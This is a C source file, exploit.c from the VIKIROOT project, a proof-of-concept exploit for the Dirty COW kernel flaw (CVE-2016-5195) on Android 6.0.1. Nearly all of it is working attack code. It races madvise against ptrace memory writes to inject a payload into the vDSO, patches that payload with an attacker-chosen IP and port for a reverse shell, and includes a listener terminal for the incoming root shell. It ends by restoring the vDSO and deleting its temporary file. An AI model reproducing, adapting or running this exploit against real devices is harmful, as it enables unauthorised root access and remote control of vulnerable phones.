exploit.c

/*
 * CVE-2016-5195 POC FOR ANDROID 6.0.1 MARSHMALLOW
 * 
 * Heavily inspired by https://github.com/scumjr/dirtycow-vdso
 *
 * This file is part of VIKIROOT, https://github.com/hyln9/VIKIROOT
 * 
 * Copyright (C) 2016-2017 Virgil Hou <virgil@zju.edu.cn>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#define _GNU_SOURCE
#include <poll.h>
#include <errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#include "payload.h"

#define VDSO_SIZE 4096

#define DEFAULT_IP            INADDR_LOOPBACK
#define DEFAULT_PORT          1234

#define PATTERN_IP            "\xde\xc0\xad\xde"
#define PATTERN_PORT          "\x37\x13"
#define PATTERN_REMAIN        "\x1f\x20\x03\xd5\x1f\x20\x03\xd5"

#define ARRAY_SIZE(a)         (sizeof(a) / sizeof(a[0]))
#define CHECKSYSCALL(r, name) \
    if((r)==-1){fprintf(stderr,"Syscall error: %s at line %d " \
        "with code %d.\n",name,__LINE__,errno);exit(EXIT_FAILURE);}

struct entry
{
    void *s_pattern;
    size_t s_size;
    void *r_pattern;
    size_t r_size;
};

struct patch
{
    char *name;
    void *patch;
    size_t patch_size;
    void *pattern;
    size_t pattern_size;
    size_t offset;
    bool use_pattern;
    bool use_offset;
};

struct args
{
    bool stop;
    bool is_exploit;
    void *vdso_addr;
    struct patch *vdso_patch;
};

// 16 bytes alignment for stack is required on aarch64
static char child_stack[8192] __attribute__ ((aligned (16)));

static const struct entry const entry_db[] = {
    /* CMP W0, #0; CCMP W0, #1, #4, NE; B.NE #0x50 */
    { "\x1f\x00\x00\x71\x04\x18\x41\x7a\x81\x02\x00\x54", 12,
      "\x1f\x00\x00\x71\x04\x18\x41\x7a", 8 },
};

static void
ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
{
    long value;

    while (n >= sizeof(long))
    {
        memcpy(&value, src, sizeof(value));
        CHECKSYSCALL(ptrace(PTRACE_POKETEXT, pid, dest, value), "ptrace");

        n -= sizeof(long);
        dest += sizeof(long);
        src += sizeof(long);
    }

    if (n > 0)
    {
        dest -= sizeof(long) - n;

        errno = 0;
        value = ptrace(PTRACE_PEEKTEXT, pid, dest, NULL);
        if (value == -1 && errno != 0)
        {
            fprintf(stderr, "Syscall error: ptrace at line %d with code %d.\n",
                __LINE__, errno);
            exit(EXIT_FAILURE);
        }

        memcpy((void *)&value + sizeof(value) - n, src, n);
        CHECKSYSCALL(ptrace(PTRACE_POKETEXT, pid, dest, value), "ptrace");
    }

    return;
}

static int
debuggee(void *arg_)
{
    CHECKSYSCALL(prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0), "prctl");

    CHECKSYSCALL(ptrace(PTRACE_TRACEME, 0, NULL, NULL), "ptrace");

    kill(syscall(SYS_getpid), SIGSTOP);

    return 0;
}

static void *
madvise_thread(void *arg_)
{
    struct args *arg = (struct args *)arg_;

    while (!arg->stop)
    {
        CHECKSYSCALL(madvise(arg->vdso_addr, VDSO_SIZE, MADV_DONTNEED), "madvise");
    }

    return NULL;
}

static void *
ptrace_thread(void *arg_)
{
    pid_t pid;
    int flags, status;
    struct args *arg = (struct args *)arg_;

    flags = CLONE_VM|CLONE_PTRACE;
    // 16 bytes alignment for stack is required on aarch64
    pid = clone(debuggee, child_stack + sizeof(child_stack) - 16, flags, arg);
    CHECKSYSCALL(pid, "clone");
    CHECKSYSCALL(waitpid(pid, &status, __WALL), "waitpid");

    while (!arg->stop)
    {
        struct patch *patch = arg->vdso_patch;
        void *data = arg->is_exploit ? patch->patch : patch->pattern;
        size_t sz = arg->is_exploit ? patch->patch_size : patch->pattern_size;
        ptrace_memcpy(pid, arg->vdso_patch->offset + arg->vdso_addr,
                      data, sz);
    }

    CHECKSYSCALL(ptrace(PTRACE_CONT, pid, NULL, NULL), "ptrace");
    CHECKSYSCALL(waitpid(pid, NULL, __WALL), "waitpid");

    return NULL;
}

static size_t
match_entry(void *vdso_addr, const struct entry **entry)
{
    const struct entry *e;
    void *entry_point;
    int i;

    for (i = 0; i < ARRAY_SIZE(entry_db); i++)
    {
        e = &entry_db[i];
        if ((entry_point = memmem(vdso_addr, VDSO_SIZE,
                                  e->s_pattern, e->s_size)) != 0)
        {
            *entry = e;
            return entry_point - vdso_addr;
        }
    }

    return 0;
}

static void
optimize_patch(void *addr, size_t len, struct patch *p)
{
    if (p->use_pattern)
    {
        void *target;
        if (p->use_offset)
        {
            void *new_addr = addr + p->offset;
            len -= p->offset;
            if (!(target = memmem(new_addr, len, p->pattern, p->pattern_size)))
            {
                fprintf(stderr, "Patch error: pattern not found "
                    "for patch '%s'.\n", p->name);
                exit(EXIT_FAILURE);
            }
        }
        else
        {
            if (!(target = memmem(addr, len, p->pattern, p->pattern_size)))
            {
                fprintf(stderr, "Patch error: pattern not found "
                    "for patch '%s'.\n", p->name);
                exit(EXIT_FAILURE);
            }
            len -= target + p->pattern_size - addr;
            void *new_addr = target + p->pattern_size;
            if (memmem(new_addr, len, p->pattern, p->pattern_size))
            {
                fprintf(stderr, "Patch error: pattern not unique "
                    "for patch '%s'.\n", p->name);
                exit(EXIT_FAILURE);
            }
            p->use_offset = true;
        }
        p->offset = target - addr;
        p->use_pattern = false;
    }
}

static void
patch_payload(const struct entry *e, uint32_t ip, uint16_t port)
{
    int i;
    struct patch payload_patch[] =
    {
        { "port", &port, sizeof(port), PATTERN_PORT,
           sizeof(PATTERN_PORT) - 1, 0, true, false },
        { "ip", &ip, sizeof(ip), PATTERN_IP,
           sizeof(PATTERN_IP) - 1, 0, true, false },
        { "remain", e->r_pattern, e->r_size, PATTERN_REMAIN,
           sizeof(PATTERN_REMAIN) - 1, 0, true, false }
    };
    for (i = 0; i < ARRAY_SIZE(payload_patch); i++)
    {
        optimize_patch(payload, payload_len, &payload_patch[i]);
        struct patch *p = &payload_patch[i];
        memcpy(p->offset + payload, p->patch, p->patch_size);
    }
}

static struct patch*
build_vdso_patch(void *vdso_addr, size_t target_offset, const struct entry *e)
{
    int i;
    uint32_t rel;
    char *dp, *buf;
    struct patch *vdso_patch, *p;

    if ((vdso_patch = malloc(2 * sizeof(struct patch))) == NULL)
    {
        fprintf(stderr, "Resource error: insufficient memory "
                "at line %d.\n", __LINE__);
        exit(EXIT_FAILURE);
    }

    struct patch tmp0 = { "vdso_payload", payload, payload_len, NULL, 0,
                          VDSO_SIZE - payload_len, false, true };

    vdso_patch[0] = tmp0;

    dp = vdso_patch[0].offset + vdso_addr;
    for (i = 0; i < payload_len; i++)
    {
        if (dp[i] != '\x00')
        {
            fprintf(stderr, "Internal error: insufficient place "
                            "for payload.\n");
            exit(EXIT_FAILURE);
        }
    }

    // use 'pattern' to store original copy
    if ((vdso_patch[0].pattern = calloc(payload_len, sizeof(char *))) == NULL)
    {
        fprintf(stderr, "Resource error: insufficient memory "
                "at line %d.\n", __LINE__);
        exit(EXIT_FAILURE);
    }

    vdso_patch[0].pattern_size = payload_len;

    if ((buf = malloc(e->r_size)) == NULL)
    {
        fprintf(stderr, "Resource error: insufficient memory "
                "at line %d.\n", __LINE__);
        exit(EXIT_FAILURE);
    }

    buf[0] = '\xf0';
    buf[1] = '\x03';
    buf[2] = '\x1e';
    buf[3] = '\xaa';

    rel = VDSO_SIZE - payload_len - target_offset - 4;
    *(uint16_t *)&buf[4] = (uint16_t)(rel / 4);
    buf[6] = '\x00';
    buf[7] = '\x94';

    struct patch tmp1 = { "vdso_entry", buf, e->r_size, NULL, 0,
                          target_offset, false, true };

    vdso_patch[1] = tmp1;

    optimize_patch(vdso_addr, VDSO_SIZE, &vdso_patch[0]);
    optimize_patch(vdso_addr, VDSO_SIZE, &vdso_patch[1]);

    if ((vdso_patch[1].pattern = malloc(e->r_size)) == NULL)
    {
        fprintf(stderr, "Resource error: insufficient memory "
                "at line %d.\n", __LINE__);
        exit(EXIT_FAILURE);
    }

    p = &vdso_patch[1];
    vdso_patch[1].pattern_size = e->r_size;
    memcpy(p->pattern, vdso_addr + p->offset, p->pattern_size);

    return vdso_patch;
}

static void
patch_vdso(struct patch *vdso_patch, void *vdso_addr, bool is_exploit)
{
    int i;
    int patch_id;
    struct args arg;
    pthread_t pth1, pth2;
    for (i = 0; i < 2; i++)
    {
        patch_id = is_exploit ? i : 1 - i;
        printf(">>> %s: patch %d/%d\n\n", is_exploit ? "Inject" : "Remove",
                patch_id + 1, 2);

        arg.vdso_patch = &vdso_patch[patch_id];
        arg.vdso_addr = vdso_addr;
        arg.is_exploit = is_exploit;

        arg.stop = false;
        pthread_create(&pth1, NULL, madvise_thread, &arg);
        pthread_create(&pth2, NULL, ptrace_thread, &arg);

        sleep(5);

        arg.stop = true;
        pthread_join(pth1, NULL);
        pthread_join(pth2, NULL);
    }
}

static int
setup_socket(uint16_t port)
{
    struct sockaddr_in addr;
    int enable, s;

    s = socket(AF_INET, SOCK_STREAM, 0);
    CHECKSYSCALL(s, "socket");

    enable = 1;
    CHECKSYSCALL(setsockopt(s, SOL_SOCKET, SO_REUSEADDR,
                            &enable, sizeof(enable)), "setsockopt");

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = port;

    CHECKSYSCALL(bind(s, (struct sockaddr *) &addr, sizeof(addr)), "bind");

    CHECKSYSCALL(listen(s, 1), "listen");

    return s;
}

static int
writeall(int fd, const void *buf, size_t count)
{
    const char *p;
    ssize_t i;

    p = buf;
    do
    {
        i = write(fd, p, count);
        if (i == 0)
        {
            return -1;
        }
        else if (i == -1)
        {
            if (errno == EINTR)
            {
                continue;
            }
            return -1;
        }
        count -= i;
        p += i;
    }
    while (count > 0);

    return 0;
}

static void
term(int s)
{
    struct sockaddr_in addr;
    struct pollfd fds[2];
    socklen_t addr_len;
    char buf[4096];
    nfds_t nfds;
    int c, n;

    printf(">>> Waiting for reverse connect shell.\n\n");

    addr_len = sizeof(addr);
    while (1)
    {
        c = accept(s, (struct sockaddr *)&addr, &addr_len);
        if (c == -1)
        {
            if (errno == EINTR)
            {
                continue;
            }
            fprintf(stderr, "Syscall error: accept at line %d with code %d.\n",
                    __LINE__, errno);
        }
        break;
    }

    close(s);

    printf(">>> Enjoy!\n\n"
           "====================TERMINAL====================\n\n");

    fds[0].fd = STDIN_FILENO;
    fds[0].events = POLLIN;

    fds[1].fd = c;
    fds[1].events = POLLIN;

    nfds = 2;
    while (nfds > 0)
    {
        if (poll(fds, nfds, -1) == -1)
        {
            if (errno == EINTR)
            {
                continue;
            }
            fprintf(stderr, "Syscall error: poll at line %d with code %d.\n",
                    __LINE__, errno);
            break;
        }

        if (fds[0].revents == POLLIN)
        {
            n = read(STDIN_FILENO, buf, sizeof(buf));
            if (n == -1)
            {
                if (errno != EINTR)
                {
                    fprintf(stderr, "Syscall error: read at line %d "
                                    "with code %d.\n",
                            __LINE__, errno);
                    break;
                }
            }
            else if (n == 0)
            {
                break;
            }
            else
            {
                CHECKSYSCALL(writeall(c, buf, n), "write");
            }
        }

        if (fds[1].revents == POLLIN)
        {
            n = read(c, buf, sizeof(buf));
            if (n == -1)
            {
                if (errno != EINTR)
                {
                    fprintf(stderr, "Syscall error: read at line %d "
                                    "with code %d.\n",
                            __LINE__, errno);
                    break;
                }
            }
            else if (n == 0)
            {
                break;
            }
            else
            {
                CHECKSYSCALL(writeall(STDOUT_FILENO, buf, n), "write");
            }
        }
    }
    printf("\n====================TERMINAL====================\n\n");
}

#ifdef DBG
static void
dump(char *filename, void *vdso_addr)
{
    int status;
    pid_t pid = fork();
    CHECKSYSCALL(pid, "fork");
    if (pid == 0)
    {
        int fd = open(filename, O_CREAT|O_TRUNC|O_WRONLY, 0644);
        CHECKSYSCALL(fd, "open");
        write(fd, vdso_addr, VDSO_SIZE);
        close(fd);
        exit(EXIT_SUCCESS);
    }
    else
    {
        CHECKSYSCALL(waitpid(pid, &status, 0), "waitpid");
    }
}
#endif

int
main(int argc, char *argv[])
{
    int s;
    bool loc = true;
    size_t target_offset;
    const struct entry *entry;
    struct patch *vdso_patch;

    uint16_t port   = htons(DEFAULT_PORT);
    uint32_t ip     = htonl(DEFAULT_IP);

    void *vdso_addr = (void *)getauxval(AT_SYSINFO_EHDR);

    if (argc > 3)
    {
        fprintf(stderr, "Command line error: too many options.\n");
        exit(EXIT_FAILURE);
    }
    else if (argc > 1)
    {
        port = htons(atoi(argv[argc - 1]));
        if (argc == 3 && (loc = 0, !inet_aton(argv[1], (struct in_addr *)&ip)))
        {
            fprintf(stderr, "Command line error: invalid IP address.\n");
            exit(EXIT_FAILURE);
        }
    }
    else
    {
        printf("\nCVE-2016-5195 POC FOR ANDROID 6.0.1 MARSHMALLOW\n\n"
               "Usage:\n\n"
               "%s port: use local terminal.\n\n"
               "%s ip port: use remote terminal.\n\n",
               argv[0], argv[0]);
        exit(EXIT_SUCCESS);
    }

    printf("\n>>> Reverse shell target: %s:%d\n\n",
        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

#ifdef DBG
    dump("vdso_orig.so", vdso_addr);
#endif

    if ((target_offset = match_entry(vdso_addr, &entry)) == 0)
    {
        fprintf(stderr, "Internal error: unknown kernel.\n");
        exit(EXIT_FAILURE);
    }

    patch_payload(entry, ip, port);

    vdso_patch = build_vdso_patch(vdso_addr, target_offset, entry);

    if (loc)
    {
        s = setup_socket(port);
    }

    printf(">>> Exploit process starts.\n\n");

    patch_vdso(vdso_patch, vdso_addr, true);

#ifdef DBG
    dump("vdso_patched.so", vdso_addr);
#endif

    printf(">>> Please wake up you phone now.\n\n");

    if (loc)
    {
        term(s);
    }
    else
    {
        printf(">>> Restore process will start in 30s.\n\n");
        sleep(30);
    }

    printf(">>> Restore process starts.\n\n");

    patch_vdso(vdso_patch, vdso_addr, false);

    printf(">>> Removing .x file.\n\n");

    if (remove("/data/local/tmp/.x") == -1)
    {
        fprintf(stderr, "Please remove .x manually.\n");
    }

    return EXIT_SUCCESS;
}